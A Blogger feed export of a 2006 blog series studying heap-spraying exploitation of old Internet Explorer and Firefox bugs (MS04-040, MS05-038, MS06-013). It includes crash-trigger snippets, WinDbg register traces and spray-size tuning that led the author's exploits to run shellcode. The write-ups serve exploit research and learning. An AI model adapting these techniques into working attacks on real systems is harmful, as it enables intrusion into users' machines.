Firefox will execute our payload because the address 0x0d0d0d0d is filled with our nop + shellcode.<br /><br />If you have read the previous post, you will see that this exploitation environment is same as SkyLined’s Internet Exploiter. The <span style="color: rgb(51, 102, 255);">magic number</span> <span style="color: rgb(255, 0, 0);">0x0d0d0d0d</span> is the important part of the exploit. It’s functions are nop payload and pointer to address in the memory. This will simplify the exploit because we just create a set of payload and inject it into memory. If you have seen Aviv Raff’s exploit, you will see that his exploit compose of three set of payload, first one is the value point by eax which will become ecx value, second one is the value point by ecx which will be called via the instruction “call dword ptr [ecx]”. The last one is nop + shellcode which will be placed at the address pointed by ecx.<br /><br />P.S. : There is some difference between IE’s heap header and Firefox’s heap header. IE’s header size is 0x24 bytes while Firefox’s header size is 0x20 bytes. The last 4 bytes in IE’s header is the offset to the last 4 bytes in heap, Firefix has no this feature.<br /><br />P.S. : tested on Windows XP home SP2 and Mozilla Firefox 1.0.4Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com4tag:blogger.com,1999:blog-30260908.post-1152076409301140582006-07-05T12:06:00.000+07:002006-07-05T14:40:33.213+07:00Heap Spraying: MS05-038While I browse through the exploit repository, I found the exploit written to attack against IE, <a href="http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx">MS05-038</a> <span style="color: rgb(51, 102, 255);">Object Instantiation Memory Corruption Vulnerability</span>. The reason why I interest this exploit is because it uses the heap spraying technique.<br /><br />The attack vector occurs when IE tries to instantiate some <span style="color: rgb(255, 0, 0);">COM objects</span> as <span style="color: rgb(255, 0, 0);">ActiveX Control</span>. Then the COM objects corrupts the memory, some of it may lead to code execution. I start to craft HTML page like this<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">...object classid="CLSID:class-id"...</span><br /><br />where <span style="font-style: italic; color: rgb(51, 204, 0);">class-id</span> is the class identifier mentioned in <a href="http://www.microsoft.com/technet/security/Bulletin/MS05-038.mspx">MS05-038</a> Microsoft Security Bulletin. The exploit from <a href="http://www.frsirt.org">FrSIRT</a> (badly, they close public exploit repository because of the legal issue) uses the class-id <span style="color: rgb(51, 102, 255);">3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5</span> "<span style="color: rgb(51, 204, 0);">blnmgr.dll</span>". I start to browse the page with Windows XP Professional SP2 and IE 6.0<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ms05-038-crash.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ms05-038-crash.jpg" alt="" border="0" /></a><br />IE crashes at <span style="color: rgb(255, 0, 0);">0x0ff68508</span> and I repeat it several times to ensure that it crashes at the same address. The <span style="color: rgb(255, 0, 0);">0x0ff68508</span> address seem to be exploitable by using heap spraying technique. That's why they use this class-id in their exploit :) I think other class-id may be exploitable, but I found that others are more complex to exploit or non-exploitable.<br /><br />I start exploit IE by using class-id <span style="color: rgb(51, 102, 255);">3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5</span>. Yes, the address <span style="color: rgb(255, 0, 0);">0x0ff68508</span> is exploitable, but it is not reliable. There is the possibility that <span style="color: rgb(255, 0, 0);">0x0ff68508</span> will be out of range of our injected heap. In this example, I inject 400 heaps into memory and IE crashes instead of execute our payload. When I view heap blocks in memory, I found this:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ms05-038-virtual.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ms05-038-virtual.jpg" alt="" border="0" /></a><br />Range of address seems cover <span style="color: rgb(255, 0, 0);">0x0ff68508</span> because IE has already allocated memory range 0x0fxxxxxx and go to above range address (0x1xxxxxxx). But when I calculate the range of the address of heap <span style="color: rgb(255, 0, 0);">0x0fee0000</span> - which one that 0x0ff68508 should be in, I found that <span style="color: rgb(51, 204, 0);">0x0fee0000 + 0x20 + 0x7ffd8 = 0x0ff5fff8</span> !? Our address, 0x0ff68508, is beyond this address, that's why IE crashes<br /><br />I try again with the same number of heaps. At this time IE executes our payload. I view the virtual heap block and focus at <span style="color: rgb(255, 0, 0);">0x0ff50000</span>. From the hex calculator <span style="color: rgb(51, 204, 0);">0x0ff50000 + 0x20 + 0x7ffd8 = 0x0ffcfff8</span>, our address is in this range so our payload is executed.<br /><br />Due to the unpredictable address of heap, the exploit is quite unreliable. I don't know whether the address 0x0ffxxxxx made the exploit unreliable or not. However, when I increase number of heap to 700, the possibility that 0x0ff68508 is falling outside our heaps is reduced so the exploit is more reliable eventhough it is <span style="color: rgb(51, 102, 255);">not 100%</span>.<br /><span style=";font-family:Tahoma;font-size:10;" ></span>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-1151745965946973992006-07-01T16:20:00.000+07:002006-07-01T20:27:58.083+07:00Heap Spraying: Internet Exploiter<span style="color: rgb(51, 102, 255);">SkyLined's</span> <span style="color: rgb(255, 0, 0);">Internet Exploiter</span> is the first public exploit that use heap spraying technique, may be :). It was written to exploit the vulnerability in Microsoft Internet Explorer - <a href="http://www.microsoft.com/technet/security/bulletin/ms04-040.mspx">MS04-040</a>. I interest this exploit because it is the original one in heap spraying.<br /><br />I start learn his exploit by copy his HTML tag that trigger the overflow. This is the code:<br /><br /><span style="color: rgb(51, 204, 0);"> </span><span style="font-style: italic; color: rgb(51, 204, 0);">iframe src="file://BBBBBBBBBB....." name="CCCCCCCCCC....."</span><br /><br />IE crashs when I browse this page. Umm, it seems ok and SkyLined's document said that this should set eax to 0x0d0d0d0d. I attach IE to WinDbg and browse the malicious HTML page again.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-crash.1.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-crash.1.jpg" alt="" border="0" /></a><br />IE crashs, but in the different manner. Eax is written by value <span style="color: rgb(51, 102, 255);">0x000d000d</span>, not <span style="color: rgb(51, 102, 255);">0x0d0d0d0d</span>, and eip stops at address <span style="color: rgb(255, 0, 0);">0x769f682f</span> - the instruction:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">mov eax, [eax + 0x34]</span><br /><br />Reading at address 0x000d000d + 0x34 = 0x000d0041 causes the access violation, I try to figure out why eax is set to 0x000d000d. I append the end of buffer by 2 bytes of 0x0d but the result is still the same.<br /><br />I'm stuck 2 hours about this issue. My HTML code and SkyLined's code are the same. Umm... may be there is something in his file format. I open Internet Exploiter with hex editor <a href="http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.html">xvi32 </a><br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/hex.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/hex.jpg" alt="" border="0" /></a><br />Hey... this is not simple ASCII file. It starts with 2 bytes FFFE and every character use 16 bits - 2 bytes. In this case every character is followed by 0x00 byte. This file format looks like <span style="color: rgb(51, 102, 255);">UTF-16 little endian</span>. I try to confirm my assumption by create a Unicode file by Wordpad and open it with xvi32. The result shows me that they are same !! Ahhhh why I don't think that this file is not ASCII format - -". I had opened this file by Vi (Windows version) and it show me that file is unreadable.<br /><br />I start create HTML file in UTF-16 format and exploit IE again. Ahhh, why the result's still the old one - eax is set to 0x000d000d ? I open Internet Exploiter by xvi32 again and locate the position the 0x0d bytes are in. I found that SkyLine's code 0x0d bytes are positioned like this:<br /><br /><span style="color: rgb(51, 204, 0);">.....</span> <span style="font-style: italic; color: rgb(51, 204, 0);">0x0d 0x0d 0x0d 0x0d .....</span><br /><br />while my 0x0d bytes are arranged like this:<br /><br /><span style="color: rgb(51, 204, 0);">..... </span><span style="color: rgb(51, 204, 0); font-style: italic;">0x0d 0x00 0x0d 0x00 0x0d 0x00 0x0d 0x00</span><span style="color: rgb(51, 204, 0);">.....</span><br /><br />Oh he embedded 4 0x0d bytes in 2 Unicode characters !! This is the important trick to control eax in his exploit. After solve the simple but tricky problem, I get this result from WinDbg:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-crash2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-crash2.jpg" alt="" border="0" /></a><br />Now eax is set to 0x0d0d0d0d and reading at address 0x0d0d0d0d + 0x34 = 0x0d0d0d41 causes access violation. I think you've already known the method to made the address 0x0d0d0d41 to be valid memory address. Yez, Heap Spraying :)<br /><br />When I inject 400 heaps in to the memory, I found this:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-win.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-payload.jpg" alt="" border="0" /></a><br />Ah.. our payload is executed !!! How could it happen ? SkyLined said in his document that if we can control eax, then we can control ecx. Because the instruction<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">CALL NEAR DWORD PTR [ECX]</span><br /><br />is called after we have set ecx to 0x0d0d0d0d, so the flow of execution will transfer to the address near 0x0d0d0d0d - our payload.<br /><br />I start to follow the document by set breakpoint at <span style="color: rgb(255, 0, 0);">0x769f682f</span> - the address that eax is set to 0x0d0d0d0d. When WinDbg break at 0x769f682f at the first time, eax is not set to 0x0d0d0d0d, so I press 'g'' until WinDbg break at 0x769f682f and eax is set to 0x0d0d0d0d (I think may be WinDbg has the feature to let we set the breakpoint condition, but I don't know the command - -"). When eax is set to <span style="color: rgb(255, 0, 0);">0x0d0d0d0d</span>, ecx is set to <span style="color: rgb(255, 0, 0);">0x769c62ec</span>. I continue run WinDbg step by step instruction until I found this:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-strange.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-strange.jpg" alt="" border="0" /></a><br />Something is strange. After eax is set to 0x0d0d0d0d, it is set to other value in the instruction "pop eax" at address 0x769f6850. Ecx has never been set to 0x0d0d0d until our payload is executed. I think may be this instruction is the key:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call dword ptr [ecx + 0x14] {SHDOCVW!CIEFrameAuto::GetParentFrame (769f6d69)}</span><br /><br />This instruction, at address 0x769f6d2b, is called and the flow of program transfers to our payload. May be WinDbg doesn't show details about this instruction, so I set another breakpoint at [<span style="color: rgb(51, 102, 255);">ecx + 0x14</span>] = <span style="color: rgb(255, 0, 0);">0x769f6d69</span> and view the result. Again, the flow of execution transfers to our payload without setting eax and ecx to 0x0d0d0d0d - -". I found that before the flow of execution transfers to our payload, there is a call instruction:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call SHDOCVW!CIEFrameAuto::_GetParentFramePrivate (769f6d95)</span><br /><br />I repeat the same step and I found the following instructions:<br /><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call SHDOCVW!CIEFrameAuto::_GetOleObject (769f6e23)</span><br /><span style="font-style: italic; color: rgb(51, 204, 0);">call dword ptr [eax + 0x18] {SHDOCVW!CwebBrowserSB::GetOleObject (769f6d46)</span><br /><br />In SHDOCVW!CwebBrowserSB::GetOleObject, I let the debugger run instruction by instruction, this is the result:<br /><br /><span style="color: rgb(51, 102, 255);">.....<br />eax=<span style="color: rgb(255, 0, 0);">001c612c</span> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">001c612c</span></span><br /><span style="color: rgb(51, 102, 255);"><br /><span style="color: rgb(255, 102, 0);">769f6d4a mov eax, [eax + 0x1400]</span><br />eax=<span style="color: rgb(255, 0, 0);">0d0d0d0d</span> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">001c612c</span></span><br /><span style="color: rgb(51, 102, 255);"><br />769f6d50 test eax, eax<br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">001c612c</span></span><br /><span style="color: rgb(51, 102, 255);"><br />769f6d52 je SHDOCVW!CwebBrowserSB::GetOleObject + 0xe (76a07b8b)<br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">001c612c</span></span><br /><span style="color: rgb(51, 102, 255);"><br />769f6d58 push dword ptr[esp + 0x8]<br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">001c612c</span></span><br /><span style="color: rgb(51, 102, 255);"><br /><span style="color: rgb(255, 102, 0);">769f6d5c mov ecx, [eax]</span><br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><br /><span style="color: rgb(51, 102, 255);"><br />769f6d5e push 0x769c6598<br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><br /><span style="color: rgb(51, 102, 255);"><br />769f6d63 push eax<br />eax=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><span style="color: rgb(51, 102, 255);"> ecx=</span><span style="color: rgb(51, 102, 255);"><span style="color: rgb(255, 0, 0);">0d0d0d0d</span></span><br /><span style="color: rgb(51, 102, 255);"><br /><span style="color: rgb(255, 102, 0);">769f6d64 call dword ptr [ecx]</span><br />.....<br /><br /><span style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 102);">Eax</span> is set to <span style="color: rgb(0, 0, 102);">0x0d0d0d0d</span> at the instruction address 0x769f6d4a (<span style="color: rgb(0, 0, 102);">mov eax, [eax + 0x1400]</span>). <span style="color: rgb(0, 51, 0);">Ecx</span> is set to <span style="color: rgb(0, 51, 51);">0x0d0d0d0d</span> at the instruction address 0x769f6d5c (<span style="color: rgb(0, 51, 0);">mov ecx, [eax]</span>). Because ecx is set to 0x0d0d0d0d, the instruction address 0x769f6d64:<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">call dword ptr [ecx]</span><br /><br />is equivalent to<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">call dword ptr [0x0d0d0d0d]</span><br /><br />And because address 0x0d0d0d0d contains value 0x0d0d0d0d, then<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">call dword ptr [0x0d0d0d0d]</span><br /><br />is same as<br /><br /><span style="color: rgb(51, 204, 0); font-style: italic;">call 0x0d0d0d0d<br /><br /></span><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-win.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-win.jpg" alt="" border="0" /></a><br />At address <span style="color: rgb(255, 0, 0);">0x0d0d0d0d</span>, our <span style="color: rgb(51, 102, 255);">shellcode</span> is there. When the instruction "call dword ptr [ecx]" is launched, we win the game :)<br /><br />P.S. - Tested onWindows XP Professional Service Pack 0 and Internet Explorer 6.0<br /></span></span>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com2tag:blogger.com,1999:blog-30260908.post-1151495969822632162006-06-28T18:55:00.000+07:002006-07-01T20:31:20.580+07:00Heap Spraying: The IE createTextRange() exploitIn My opinion, the <span style="color: rgb(51, 102, 255);">IE createTextRange()</span> exploit is one of the most simple exploit that use heap spraying technique. We just call document.getElementById('<span style="font-style: italic;">some_input_id</span>').createTextRange() or we create an element by call document.createElment("input") function and then call createTextRange() - IE will be crashed in both cases.<br /><br />I try to create a small HTML file to test this vulnerability.<br /><br /><span style="font-style: italic; color: rgb(255, 0, 0);"> .....</span><br /><span style="font-style: italic; color: rgb(255, 0, 0);"> x = document.createElement("input");</span><br /><span style="font-style: italic; color: rgb(255, 0, 0);"> x.type = "image";</span><br /><span style="font-style: italic; color: rgb(255, 0, 0);"> y = x.createTextRange();</span><br /><span style="font-style: italic; color: rgb(255, 0, 0);"> .....</span><br /><br />I attach IE with <a style="color: rgb(51, 102, 255);" href="http://www.microsoft.com/whdc/devtools/debugging/default.mspx">WinDbg</a> and browse this page. This is the result:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-shellcode.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-crash.jpg" alt="" border="0" /></a><br />IE crashs because of access violation - eip point to the address <span style="color: rgb(255, 0, 0);font-size:130%;" >0x3c0474c2</span>. I have tested many times and IE still crashs at 0x3c0474c2 eventhough I open others application at the same time. I think this is the <span style="color: rgb(51, 204, 0);">deterministic behavior</span> of this vulnerability - may be useful for exploitation.<br /><br />I begin to exploit the vulnerability by modify <span style="color: rgb(51, 102, 255);">SkyLined's code</span> and integrate it into my code. First of all, I wanna to know where is my injected heap. I inject 10 chunk of heap fill with nop + shellcode into the memory. After IE crash, I examine all heaps and I found this:<br /><ul><li>1 injected heap is in address range 0x01xxxxxx</li><li>2 injected heaps are in address range 0x02xxxxxx</li><li>7 injected heaps are in address range 0x06xxxxxx</li><li>1 injected heap is is address range 0x07xxxxxx</li><li>first 4 bytes in each heap is the offset to last 4 bytes in heap</li><li>all of injected heaps are in "<span style="color: rgb(255, 204, 51);">Virtual Block</span>"<br /></li></ul>I decide to inject more heap into the memory to get more information about its behavior. I inject 20 chunks at this time and I got the result:<br /><ul><li>most of injected heap is in 0x06xxxxxx and 0x07xxxxxx address range</li><li>the exploit takes more time to execute than the first time<br /></li></ul>Again.. I increase the number of chunk to 100:<br /><ul><li>most of injected heap is in 0x0axxxxxx and 0x0bxxxxxx address range</li><li>the exploit takes more time to execute than the second time<br /></li></ul><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-shellcode.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-chunk.jpg" alt="" border="0" /></a>As you can see, everytime I increase number of chunk, the address of injected heap is also increased. If I try to increase number of chunk until the address 0x3c0474c2 is in range of injected heap, what will be happened ? lol.<br /><br />I try o increase number of chunk until 1700 chunks, there is something different from the past:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-shellcode.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-shellcode.jpg" alt="" border="0" /></a>WinDbg show that IE reachs the break instruction, <span style="color: rgb(51, 204, 0);font-size:130%;" >cc</span> command - out shellcode, at <span style="color: rgb(255, 0, 0);">0x3c07000e</span> instead of <span style="color: rgb(255, 0, 0);">0x3c0474c2</span>. Our payload got execute at the address that higher than 0x3c0474c2 !? This means that we can past the point that IE had crashed before. I view at the address 0x3c0474c2 and I found that it was filled with our nop - 0x90<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/ie-nop.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/ie-nop.jpg" alt="" border="0" /></a>In this situation, I can conclude that IE had crash and land at <span style="color: rgb(51, 204, 0);">0x3c0474c2</span>, our<span style="color: rgb(51, 204, 0);"> nop</span>, and it execute our nop until reach our payload at <span style="color: rgb(51, 204, 0);">0x3c07000e</span>, <span style="color: rgb(51, 204, 0);">cc</span> instruction.<br /><br />Wow, our exploit was written in few hours. I have tried serveral times to ensure that the number 1700 is ok. Changing payload from "cc" instruction to "port binding" shellcode or "reverse connect" shellcode is also ok.<br /><br />P.S. - Tested on Windows XP Professional Service Pack 2 and Internet Explorer 6.0Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-1151374135353659232006-06-27T07:56:00.000+07:002006-06-29T08:04:36.566+07:00Heap Spraying: Introduction<p class="MsoNormal"><span style="">In past several months, Heap spraying has become one of the most prevalent technique to exploit vulnerability in browser. IE <a href="http://www.microsoft.com/technet/security/Bulletin/MS06-013.mspx">“createTextRange()”</a> and Mozilla Firefox <a href="http://www.mozilla.org/security/announce/2005/mfsa2005-50.html">“InstallVersion.compareTo()”</a> are the examples of this technique. Because it is undocumented technique – actually not well document, I decide to start to study what is it and how it work.</span></p><p class="MsoNormal"><span style="">This technique was introduced by hacker named “<span style="color: rgb(51, 102, 255);">SkyLined</span>”. He used Heap Spraying technique to attack the vulnerability in IE, <a href="http://www.microsoft.com/technet/security/Bulletin/MS04-040.mspx">MS04-040</a> and <a href="http://www.microsoft.com/technet/security/Bulletin/MS05-020.mspx">MS05-020</a>. However I also found the technique like heap spraying, it was mentioned in <a href="http://www.eeye.com/html/Research/Advisories/AD20010618.html">Microsoft Internet Information Services Remote Buffer Overflow</a>.</span></p><p class="MsoNormal"><span style="">After I had read these exploit codes, I got some point about this technique. Heap spraying is used when the vulnerable program (IE, Firefox in this case) call or jmp into invalid memory. This invalid memory must be in the possible heap range address - not in DLL virtual address, PEB, TEB, etc. And it must not higher than 0x7fffffff because above this address is kernel address space. See</span><span style=""><span style="text-decoration: underline;"><br /></span><a href="http://www.openrce.org/reference_library/files/reference/Windows%20Memory%20Layout,%20User-Kernel%20Address%20Spaces.pdf">Windows Memory Layout</a> for detail. This is one of the limitation of heap spraying technique.</span></p><p class="MsoNormal"><span style="">So, what can we do if it jumps into the possible heap range but invalid memory? The answer depends on the nature of the vulnerable program. If we can't control (actually "<span style="color: rgb(0, 0, 0);">injected</span>") the application's heap - <span style="color: rgb(255, 0, 0);">Gave Over</span>. But if we can, we will <span style="color: rgb(51, 102, 255);">inject heap</span> as much as possible until the invalid memory become the valid memory. Sure, the injected heaps contain our<span style="color: rgb(51, 204, 0);"> nop</span> + <span style="color: rgb(51, 204, 0);">shellcode</span>, so the vulnerable program will landing on our nop and shellcode :) That's why this technique is called "Heap Spraying"</span></p><p class="MsoNormal"><span style="">Now, I got another limitation of this technique - we have to able to control the application's heap. As I known, there are few applications that we are able to control heap. Web browser is the one of these - inject heap via <span style="color: rgb(51, 102, 255);">JavaScript</span></span></p><p class="MsoNormal"><span style="">I also create a simple picture to demonstrate the basic concept about it. Here's the picture.</span></p><p class="MsoNormal"><span style=""><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5848/3241/1600/Heap.Spray.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5848/3241/320/Heap.Spray.jpg" alt="" border="0" /></a></span></p><p class="MsoNormal"><span style="">Even though heap spraying concept is the simple one, its implementation quite complex. There are many things I must to find out...<br /></span></p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com4tag:blogger.com,1999:blog-30260908.post-1151284078776983402006-06-26T08:05:00.000+07:002006-06-26T08:50:45.410+07:00Welcome to Freedom 's blogWelcome to Freedom's blog !! This blog is all about <span style="color: rgb(51, 102, 255);font-size:130%;" ><span style="font-weight: bold;">exploitation techniques</span></span>. I reproduce these entries from my space, but in English. At this time, I focus on <span style="font-weight: bold; color: rgb(51, 102, 255);font-size:130%;" >Heap Spraying</span> technique and I will note the detail about it soon.Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com1